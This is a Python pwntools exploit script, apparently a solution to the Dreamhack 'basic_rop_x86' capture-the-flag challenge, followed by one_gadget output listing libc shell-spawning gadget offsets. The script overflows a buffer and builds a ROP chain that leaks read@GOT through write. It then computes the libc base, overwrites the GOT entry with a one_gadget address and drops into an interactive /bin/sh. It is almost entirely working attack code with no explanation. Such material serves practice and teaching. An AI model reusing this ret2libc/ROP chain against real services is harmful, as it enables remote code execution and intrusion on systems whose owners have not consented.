from pwn import *
context.log_level = 'debug'
p = remote('host1.dreamhack.games', 21445)
libc = ELF("./libc.so.6")
e = ELF("./basic_rop_x86")

read_got = e.got['read']
write_plt = e.plt['write']
read_plt = e.plt['read']
read_offset = libc.symbols['read']
pppr = 0x8048689
one_gadget_offset = 0x5f066
payload = ''
payload += 'a'* 0x48
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(read_got)
payload += p32(4)

payload += p32(read_plt)


p.sendline(payload)
dummy = p.recv(0x40)
read_addr = u32(p.recv(4))
#print hex(read_addr)
libc_base = read_addr - read_offset
one_gadget = libc_base + one_gadget_offset
#print hex(one_gadget)

p.sendline(p32(one_gadget))

p.interactive()

$ one_gadget ./libc.so.6 
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x28] == NULL

0x3a80e execve("/bin/sh", esp+0x2c, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x2c] == NULL

0x3a812 execve("/bin/sh", esp+0x30, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x30] == NULL

0x3a819 execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL

0x5f065 execl("/bin/sh", eax)
constraints:
  esi is the GOT address of libc
  eax == NULL

0x5f066 execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL